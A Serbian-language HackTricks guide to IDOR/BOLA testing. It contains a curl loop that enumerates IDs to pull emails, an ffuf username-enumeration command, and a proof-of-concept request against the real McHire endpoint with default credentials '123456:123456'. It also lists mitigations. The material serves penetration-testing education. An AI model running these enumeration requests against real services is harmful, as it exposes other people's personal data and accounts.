107 lines
5.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) pojavljuje se kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati i koji se koristi **direktno** za pristup internom objektu **bez provere da li je pozivatelj ovlašćen** da pristupi/izmeni taj objekat.
Uspešna eksploatacija obično omogućava horizontalno ili vertical privilege-escalation, poput čitanja ili izmena podataka drugih korisnika i, u najgorem slučaju, full account takeover ili mass-data exfiltration.
---
## 1. Identifikacija potencijalnih IDOR-a
1. Tražite **parametre koji referenciraju objekat**:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. Preferirajte endpoint-e koji **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidljivi** ako je vaš ID `64185742`, tada `64185741` verovatno postoji.
4. Istražite skrivene ili alternativne tokove (npr. *"Paradox team members"* link na login stranicama) koji mogu otkriti dodatne API-je.
5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/cookie**. Odsustvo greške autorizacije obično je znak IDOR.
### Quick manual tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Automatizovana enumeracija (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
### Error-response oracle for user/file enumeration
Kada download endpoint prihvata i username i filename (npr. `/view.php?username=<u>&file=<f>`), suptilne razlike u error messages često stvaraju oracle:
- Nepostojeći username → "User not found"
- Neispravan filename ali valid extension → "File does not exist" (ponekad navede i dostupne fajlove)
- Pogrešna extension → validation error
Sa bilo kojom authenticated session, možete fuzz-ovati username parametar dok držite benign filename i filtrirati po stringu "user not found" da otkrijete validne korisnike:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Kada se identifikuju validna korisnička imena, direktno zatražite specifične fajlove (npr. `/view.php?username=amanda&file=privacy.odt`). Ovaj obrazac često dovodi do neovlašćenog otkrivanja dokumenata drugih korisnika i izlaganja kredencijala.
---
## 2. Studija slučaja iz stvarnog sveta McHire Chatbot Platform (2025)
Tokom testa Paradox.ai-powered **McHire** recruitment portala otkriven je sledeći IDOR:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie za **bilo koji** test nalog restorana
* Body parameter: `{"lead_id": N}` 8-znamenkasti, **uzastopni** numerički identifikator
Smanjivanjem `lead_id` tester je dobio proizvoljne podnosioce prijava sa **full PII** (ime, e-mail, telefon, adresa, preferencije smena) kao i consumer **JWT** koji je omogućio session hijacking. Enumeracija opsega `1 64,185,742` otkrila je otprilike **64 miliona** zapisa.
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
U kombinaciji sa **podrazumevanim administratorskim akreditivima** (`123456:123456`) koji su omogućili pristup test nalogu, ranjivost je dovela do kritičnog, kompanijskog curenja podataka.
---
## 3. Uticaj IDOR / BOLA
* Horizontalno eskaliranje čitanje/izmena/brisanje podataka **ostalih korisnika**.
* Vertikalno eskaliranje korisnik sa niskim privilegijama dobija funkcionalnosti namenjene samo administratorima.
* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. applicant IDs, invoices).
* Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.
---
## 4. Ublažavanja i najbolje prakse
1. **Sprovodite autorizaciju na nivou objekta** za svaki zahtev (`user_id == session.user`).
2. Preferirajte **indirektne, nepredvidljive identifikatore** (UUIDv4, ULID) umesto auto-increment IDs.
3. Izvršavajte autorizaciju **server-side**, nikada se ne oslanjajte na skrivene form polja ili UI kontrole.
4. Implementirajte **RBAC / ABAC** provere u centralnom middleware-u.
5. Dodajte **rate-limiting & logging** kako biste otkrili enumeraciju ID-eva.
6. Bezbednosno testirajte svaki novi endpoint (unit, integration, and DAST).
---
## 5. Tooling
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## References
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}